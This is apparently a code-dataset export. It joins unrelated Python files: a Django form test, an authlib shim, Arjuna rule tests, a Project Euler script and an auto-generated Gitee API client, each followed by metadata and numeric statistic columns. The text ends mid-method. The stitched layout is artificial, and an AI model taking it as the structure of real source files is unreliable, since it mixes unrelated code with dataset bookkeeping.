data['first_name'] = 'Jon'
form = ProfileUpdateForm(data)
self.assertTrue(form.is_bound)
self.assertTrue(form.is_valid())
def test_last_name_validation(self):
"""
Tests that form invalidates data without last name provided
"""
form = ProfileUpdateForm()
self.assertFalse(form.is_bound)
self.assertFalse(form.is_valid())
data = {'first_name':'Jon'}
form = ProfileUpdateForm(data)
self.assertTrue(form.is_bound)
self.assertFalse(form.is_valid())
data['last_name'] = 'Snow'
form = ProfileUpdateForm(data)
self.assertTrue(form.is_bound)
self.assertTrue(form.is_valid())
| 29.617021
| 108
| 0.640805
| 296
| 2,784
| 5.871622
| 0.152027
| 0.082854
| 0.131185
| 0.144994
| 0.887227
| 0.85443
| 0.85443
| 0.85443
| 0.85443
| 0.85443
| 0
| 0.005722
| 0.246767
| 2,784
| 94
| 109
| 29.617021
| 0.823081
| 0.115302
| 0
| 0.846154
| 0
| 0
| 0.088851
| 0
| 0
| 0
| 0
| 0
| 0.461538
| 1
| 0.076923
| false
| 0.038462
| 0.038462
| 0
| 0.153846
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0bc35613296d47b21950faf5801f26685eb5fb8a
| 225
|
py
|
Python
|
authlib/flask/oauth1/sqla.py
|
jonathanunderwood/authlib
|
3834a2a80876a87cdaab4240d77185179970c3ab
|
[
"BSD-3-Clause"
] | 1
|
2021-12-09T07:11:05.000Z
|
2021-12-09T07:11:05.000Z
|
authlib/flask/oauth1/sqla.py
|
jonathanunderwood/authlib
|
3834a2a80876a87cdaab4240d77185179970c3ab
|
[
"BSD-3-Clause"
] | 4
|
2021-03-19T08:17:59.000Z
|
2021-06-10T19:34:36.000Z
|
authlib/flask/oauth1/sqla.py
|
jonathanunderwood/authlib
|
3834a2a80876a87cdaab4240d77185179970c3ab
|
[
"BSD-3-Clause"
] | 2
|
2021-05-24T20:34:12.000Z
|
2022-03-26T07:46:17.000Z
|
# flake8: noqa
from authlib.integrations.sqla_oauth1 import *
from authlib.deprecate import deprecate
deprecate('Deprecate "authlib.flask.oauth1.sqla", USE "authlib.integrations.sqla_oauth1" instead', '1.0', 'Jeclj', 'sq')
| 32.142857
| 120
| 0.773333
| 29
| 225
| 5.931034
| 0.551724
| 0.127907
| 0.267442
| 0.337209
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029412
| 0.093333
| 225
| 6
| 121
| 37.5
| 0.813725
| 0.053333
| 0
| 0
| 0
| 0
| 0.450237
| 0.293839
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
0bc8c87f9db165c142be13c8b2ee41f0e3d38450
| 6,338
|
py
|
Python
|
arjuna-samples/arjex/test/pkg/rules/check_rules_01_bool.py
|
StefanIGit/arjuna
|
6c7d9099e0d766e7b30936ef25d32c1414133b96
|
[
"Apache-2.0"
] | 13
|
2020-05-12T06:32:51.000Z
|
2022-01-24T18:21:19.000Z
|
arjuna-samples/arjex/test/pkg/rules/check_rules_01_bool.py
|
StefanIGit/arjuna
|
6c7d9099e0d766e7b30936ef25d32c1414133b96
|
[
"Apache-2.0"
] | 5
|
2020-02-14T12:51:07.000Z
|
2021-12-01T10:39:51.000Z
|
arjuna-samples/arjex/test/pkg/rules/check_rules_01_bool.py
|
StefanIGit/arjuna
|
6c7d9099e0d766e7b30936ef25d32c1414133b96
|
[
"Apache-2.0"
] | 25
|
2020-01-16T10:44:25.000Z
|
2022-02-24T13:22:22.000Z
|
# This file is a part of Arjuna
# Copyright 2015-2021 Rahul Verma
# Website: www.RahulVerma.net
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from arjuna import *
from arjuna.engine.selection.selector import Selector
from arjuna.core.constant import *
@test
def check_rule_creation_bool_pattern(request):
selector = Selector()
r = "unstable"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "BoolAttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == True
assert rule.checker.__name__ == 'are_equal'
# Check NOT
selector = Selector()
r = "not unstable"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "BoolAttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.NOT_EQUAL
assert rule.expression == True
assert rule.checker.__name__ == 'are_not_equal'
@test
def check_rule_creation_prop_pattern(request):
# Check boolean prop
selector = Selector()
r = "unstable is False"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == False
assert rule.checker.__name__ == 'are_equal'
selector = Selector()
r = "unstable not True"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.NOT_EQUAL
assert rule.expression == True
assert rule.checker.__name__ == 'are_not_equal'
# Check boolean prop - value alternatives
selector = Selector()
r = "unstable is On"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == True
assert rule.checker.__name__ == 'are_equal'
selector = Selector()
r = "unstable is oFf"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == False
assert rule.checker.__name__ == 'are_equal'
# Check boolean prop - value alternatives
selector = Selector()
r = "unstable is YeS"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == True
assert rule.checker.__name__ == 'are_equal'
selector = Selector()
r = "unstable is nO"
selector.include(r)
rule = selector.irules[0]
print(rule)
assert rule.__class__.__name__ == "AttrPatternRule"
assert rule.rule_str == r
assert rule.container == "info"
assert rule.target == "unstable"
assert rule.condition == RuleConditionType.EQUAL
assert rule.expression == False
assert rule.checker.__name__ == 'are_equal'
@test
def check_rule_creation_invalid(request):
try:
selector = Selector()
r = "unstable is anything"
selector.include(r)
except InvalidSelectionRule:
pass
else:
assert 1 == 2
try:
selector = Selector()
r = "unstable < True"
selector.include(r)
except InvalidSelectionRule:
pass
else:
assert 1 == 2
class Empty:
pass
class Obj:
def __init__(self):
self.info = Empty()
@test
def check_rule_evaluation_boolean_pattern(request):
selector = Selector()
r = "unstable"
selector.include(r)
rule = selector.irules[0]
print(rule)
obj = Obj()
assert rule.matches(obj) is False
obj = Obj()
obj.info.unstable = True
assert rule.matches(obj) is True
obj = Obj()
obj.info.unstable = False
assert rule.matches(obj) is False
selector = Selector()
r = "not unstable"
selector.include(r)
rule = selector.irules[0]
print(rule)
obj = Obj()
assert rule.matches(obj) is True
obj = Obj()
obj.info.unstable = True
assert rule.matches(obj) is False
obj = Obj()
obj.info.unstable = False
assert rule.matches(obj) is True
@test
def check_rule_evaluation_prop_pattern(request):
selector = Selector()
r = "unstable is true"
selector.include(r)
rule = selector.irules[0]
print(rule)
obj = Obj()
assert rule.matches(obj) is False
obj = Obj()
obj.info.unstable = True
assert rule.matches(obj) is True
obj = Obj()
obj.info.unstable = False
assert rule.matches(obj) is False
selector = Selector()
r = "unstable is false"
selector.include(r)
rule = selector.irules[0]
print(rule)
obj = Obj()
assert rule.matches(obj) is True
obj = Obj()
obj.info.unstable = True
assert rule.matches(obj) is False
obj = Obj()
obj.info.unstable = False
assert rule.matches(obj) is True
| 26.518828
| 74
| 0.669927
| 785
| 6,338
| 5.231847
| 0.16051
| 0.165571
| 0.05795
| 0.073046
| 0.82542
| 0.792306
| 0.771122
| 0.769905
| 0.769905
| 0.769905
| 0
| 0.005727
| 0.228621
| 6,338
| 238
| 75
| 26.630252
| 0.834322
| 0.113285
| 0
| 0.879121
| 0
| 0
| 0.090016
| 0
| 0
| 0
| 0
| 0
| 0.384615
| 1
| 0.032967
| false
| 0.016484
| 0.016484
| 0
| 0.06044
| 0.065934
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f0f898dd498368862eead2350e542ebd6311fe64
| 5,500
|
py
|
Python
|
Other/Python2.7/Problem13.py
|
humford/ProjectEulerSolutions
|
8339c29658e8704a07f8a586788778e560ad807f
|
[
"CNRI-Python"
] | 3
|
2016-06-26T17:46:21.000Z
|
2017-02-14T21:06:24.000Z
|
Other/Python2.7/Problem13.py
|
LieutenantHawkeye/ProjectEulerSolutions
|
8339c29658e8704a07f8a586788778e560ad807f
|
[
"CNRI-Python"
] | null | null | null |
Other/Python2.7/Problem13.py
|
LieutenantHawkeye/ProjectEulerSolutions
|
8339c29658e8704a07f8a586788778e560ad807f
|
[
"CNRI-Python"
] | 1
|
2017-08-09T14:28:36.000Z
|
2017-08-09T14:28:36.000Z
|
import math
import time
bloc = """37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
91942213363574161572522430563301811072406154908250
23067588207539346171171980310421047513778063246676
89261670696623633820136378418383684178734361726757
28112879812849979408065481931592621691275889832738
44274228917432520321923589422876796487670272189318
47451445736001306439091167216856844588711603153276
70386486105843025439939619828917593665686757934951
62176457141856560629502157223196586755079324193331
64906352462741904929101432445813822663347944758178
92575867718337217661963751590579239728245598838407
58203565325359399008402633568948830189458628227828
80181199384826282014278194139940567587151170094390
35398664372827112653829987240784473053190104293586
86515506006295864861532075273371959191420517255829
71693888707715466499115593487603532921714970056938
54370070576826684624621495650076471787294438377604
53282654108756828443191190634694037855217779295145
36123272525000296071075082563815656710885258350721
45876576172410976447339110607218265236877223636045
17423706905851860660448207621209813287860733969412
81142660418086830619328460811191061556940512689692
51934325451728388641918047049293215058642563049483
62467221648435076201727918039944693004732956340691
15732444386908125794514089057706229429197107928209
55037687525678773091862540744969844508330393682126
18336384825330154686196124348767681297534375946515
80386287592878490201521685554828717201219257766954
78182833757993103614740356856449095527097864797581
16726320100436897842553539920931837441497806860984
48403098129077791799088218795327364475675590848030
87086987551392711854517078544161852424320693150332
59959406895756536782107074926966537676326235447210
69793950679652694742597709739166693763042633987085
41052684708299085211399427365734116182760315001271
65378607361501080857009149939512557028198746004375
35829035317434717326932123578154982629742552737307
94953759765105305946966067683156574377167401875275
88902802571733229619176668713819931811048770190271
25267680276078003013678680992525463401061632866526
36270218540497705585629946580636237993140746255962
24074486908231174977792365466257246923322810917141
91430288197103288597806669760892938638285025333403
34413065578016127815921815005561868836468420090470
23053081172816430487623791969842487255036638784583
11487696932154902810424020138335124462181441773470
63783299490636259666498587618221225225512486764533
67720186971698544312419572409913959008952310058822
95548255300263520781532296796249481641953868218774
76085327132285723110424803456124867697064507995236
37774242535411291684276865538926205024910326572967
23701913275725675285653248258265463092207058596522
29798860272258331913126375147341994889534765745501
18495701454879288984856827726077713721403798879715
38298203783031473527721580348144513491373226651381
34829543829199918180278916522431027392251122869539
40957953066405232632538044100059654939159879593635
29746152185502371307642255121183693803580388584903
41698116222072977186158236678424689157993532961922
62467957194401269043877107275048102390895523597457
23189706772547915061505504953922979530901129967519
86188088225875314529584099251203829009407770775672
11306739708304724483816533873502340845647058077308
82959174767140363198008187129011875491310547126581
97623331044818386269515456334926366572897563400500
42846280183517070527831839425882145521227251250327
55121603546981200581762165212827652751691296897789
32238195734329339946437501907836945765883352399886
75506164965184775180738168837861091527357929701337
62177842752192623401942399639168044983993173312731
32924185707147349566916674687634660915035914677504
99518671430235219628894890102423325116913619626622
73267460800591547471830798392868535206946944540724
76841822524674417161514036427982273348055556214818
97142617910342598647204516893989422179826088076852
87783646182799346313767754307809363333018982642090
10848802521674670883215120185883543223812876952786
71329612474782464538636993009049310363619763878039
62184073572399794223406235393808339651327408011116
66627891981488087797941876876144230030984490851411
60661826293682836764744779239180335110989069790714
85786944089552990653640447425576083659976645795096
66024396409905389607120198219976047599490197230297
64913982680032973156037120041377903785566085089252
16730939319872750275468906903707539413042652315011
94809377245048795150954100921645863754710598436791
78639167021187492431995700641917969777599028300699
15368713711936614952811305876380278410754449733078
40789923115535562561142322423255033685442488917353
44889911501440648020369068063960672322193204149535
41503128880339536053299340368006977710650566631954
81234880673210146739058568557934581403627822703280
82616570773948327592232845941706525094512325230608
22918802058777319719839450180888072429661980811197
77158542502016545090413245809786882778948721859617
72107838435069186155435662884062257473692284509516
20849603980134001723930671666823555245252804609722
53503534226472524250874054075591789781264330331690"""
def splitBloc(b=bloc):
return map(int, b.split("\n"))
def sumToDigits(d, b=bloc):
b = [int(i) for i in str(sum(splitBloc(b)))]
out = ""
for x in b[0:d+1]:
out += str(x)
return out
start = time.time()
digsum = sumToDigits(int(raw_input("Number of Digits of Sum: ")))
elapsed = (time.time() - start)
print "found %s in %s seconds" % (digsum, elapsed)
| 45.081967
| 65
| 0.954727
| 168
| 5,500
| 31.25
| 0.803571
| 0.00381
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.938814
| 0.031273
| 5,500
| 121
| 66
| 45.454545
| 0.046547
| 0
| 0
| 0
| 0
| 0
| 0.93617
| 0.909256
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.017544
| null | null | 0.008772
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9bdcd43011c97194a1652990e97aa651d0a6285d
| 81,300
|
py
|
Python
|
gitee/api/enterprises_api.py
|
pygitee/pygitee
|
7622314a4dbb08cf2f729b6cdd0a2887b96e394e
|
[
"MIT"
] | null | null | null |
gitee/api/enterprises_api.py
|
pygitee/pygitee
|
7622314a4dbb08cf2f729b6cdd0a2887b96e394e
|
[
"MIT"
] | null | null | null |
gitee/api/enterprises_api.py
|
pygitee/pygitee
|
7622314a4dbb08cf2f729b6cdd0a2887b96e394e
|
[
"MIT"
] | null | null | null |
# coding: utf-8
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from gitee.api_client import ApiClient
class EnterprisesApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_v5_enterprises_enterprise_members_username(self, enterprise, username, **kwargs): # noqa: E501
"""移除企业成员 # noqa: E501
移除企业成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_v5_enterprises_enterprise_members_username(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
else:
(data) = self.delete_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
return data
def delete_v5_enterprises_enterprise_members_username_with_http_info(self, enterprise, username,
**kwargs): # noqa: E501
"""移除企业成员 # noqa: E501
移除企业成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'username', 'access_token'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_v5_enterprises_enterprise_members_username" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `delete_v5_enterprises_enterprise_members_username`") # noqa: E501
# verify the required parameter 'username' is set
if ('username' not in params or
params['username'] is None):
raise ValueError(
"Missing the required parameter `username` when calling `delete_v5_enterprises_enterprise_members_username`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'username' in params:
path_params['username'] = params['username'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/members/{username}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_v5_enterprises_enterprise_week_reports_report_id_comments_id(self, enterprise, report_id, id,
**kwargs): # noqa: E501
"""删除周报某个评论 # noqa: E501
删除周报某个评论 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_v5_enterprises_enterprise_week_reports_report_id_comments_id(enterprise, report_id, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int report_id: 周报ID (required)
:param int id: 评论ID (required)
:param str access_token: 用户授权码
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_v5_enterprises_enterprise_week_reports_report_id_comments_id_with_http_info(enterprise,
report_id,
id,
**kwargs) # noqa: E501
else:
(data) = self.delete_v5_enterprises_enterprise_week_reports_report_id_comments_id_with_http_info(enterprise,
report_id,
id,
**kwargs) # noqa: E501
return data
def delete_v5_enterprises_enterprise_week_reports_report_id_comments_id_with_http_info(self, enterprise, report_id,
id, **kwargs): # noqa: E501
"""删除周报某个评论 # noqa: E501
删除周报某个评论 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_v5_enterprises_enterprise_week_reports_report_id_comments_id_with_http_info(enterprise, report_id, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int report_id: 周报ID (required)
:param int id: 评论ID (required)
:param str access_token: 用户授权码
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'report_id', 'id', 'access_token'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_v5_enterprises_enterprise_week_reports_report_id_comments_id" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `delete_v5_enterprises_enterprise_week_reports_report_id_comments_id`") # noqa: E501
# verify the required parameter 'report_id' is set
if ('report_id' not in params or
params['report_id'] is None):
raise ValueError(
"Missing the required parameter `report_id` when calling `delete_v5_enterprises_enterprise_week_reports_report_id_comments_id`") # noqa: E501
# verify the required parameter 'id' is set
if ('id' not in params or
params['id'] is None):
raise ValueError(
"Missing the required parameter `id` when calling `delete_v5_enterprises_enterprise_week_reports_report_id_comments_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'report_id' in params:
path_params['report_id'] = params['report_id'] # noqa: E501
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_reports/{report_id}/comments/{id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprise_enterprise_pull_requests(self, enterprise, **kwargs): # noqa: E501
"""企业Pull Reuqest 列表 # noqa: E501
企业Pull Reuqest 列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprise_enterprise_pull_requests(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param str issue_number: 可选。Issue 编号(区分大小写,无需添加 # 号)
:param str repo: 可选。仓库路径(path)
:param int program_id: 可选。项目ID
:param str state: 可选。Pull Request 状态
:param str head: 可选。Pull Request 提交的源分支。格式:branch 或者:username:branch
:param str base: 可选。Pull Request 提交目标分支的名称。
:param str sort: 可选。排序字段,默认按创建时间
:param str direction: 可选。升序/降序
:param int milestone_number: 可选。里程碑序号(id)
:param str labels: 用逗号分开的标签。如: bug,performance
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[PullRequest]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprise_enterprise_pull_requests_with_http_info(enterprise, **kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprise_enterprise_pull_requests_with_http_info(enterprise, **kwargs) # noqa: E501
return data
def get_v5_enterprise_enterprise_pull_requests_with_http_info(self, enterprise, **kwargs): # noqa: E501
"""企业Pull Reuqest 列表 # noqa: E501
企业Pull Reuqest 列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprise_enterprise_pull_requests_with_http_info(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param str issue_number: 可选。Issue 编号(区分大小写,无需添加 # 号)
:param str repo: 可选。仓库路径(path)
:param int program_id: 可选。项目ID
:param str state: 可选。Pull Request 状态
:param str head: 可选。Pull Request 提交的源分支。格式:branch 或者:username:branch
:param str base: 可选。Pull Request 提交目标分支的名称。
:param str sort: 可选。排序字段,默认按创建时间
:param str direction: 可选。升序/降序
:param int milestone_number: 可选。里程碑序号(id)
:param str labels: 用逗号分开的标签。如: bug,performance
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[PullRequest]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'access_token', 'issue_number', 'repo', 'program_id', 'state', 'head', 'base',
'sort', 'direction', 'milestone_number', 'labels', 'page', 'per_page'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprise_enterprise_pull_requests" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprise_enterprise_pull_requests`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'issue_number' in params:
query_params.append(('issue_number', params['issue_number'])) # noqa: E501
if 'repo' in params:
query_params.append(('repo', params['repo'])) # noqa: E501
if 'program_id' in params:
query_params.append(('program_id', params['program_id'])) # noqa: E501
if 'state' in params:
query_params.append(('state', params['state'])) # noqa: E501
if 'head' in params:
query_params.append(('head', params['head'])) # noqa: E501
if 'base' in params:
query_params.append(('base', params['base'])) # noqa: E501
if 'sort' in params:
query_params.append(('sort', params['sort'])) # noqa: E501
if 'direction' in params:
query_params.append(('direction', params['direction'])) # noqa: E501
if 'milestone_number' in params:
query_params.append(('milestone_number', params['milestone_number'])) # noqa: E501
if 'labels' in params:
query_params.append(('labels', params['labels'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'per_page' in params:
query_params.append(('per_page', params['per_page'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprise/{enterprise}/pull_requests', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[PullRequest]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise(self, enterprise, **kwargs): # noqa: E501
"""获取一个企业 # noqa: E501
获取一个企业 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:return: EnterpriseBasic
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_with_http_info(enterprise, **kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_with_http_info(enterprise, **kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_with_http_info(self, enterprise, **kwargs): # noqa: E501
"""获取一个企业 # noqa: E501
获取一个企业 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_with_http_info(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:return: EnterpriseBasic
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'access_token'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='EnterpriseBasic', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_members(self, enterprise, **kwargs): # noqa: E501
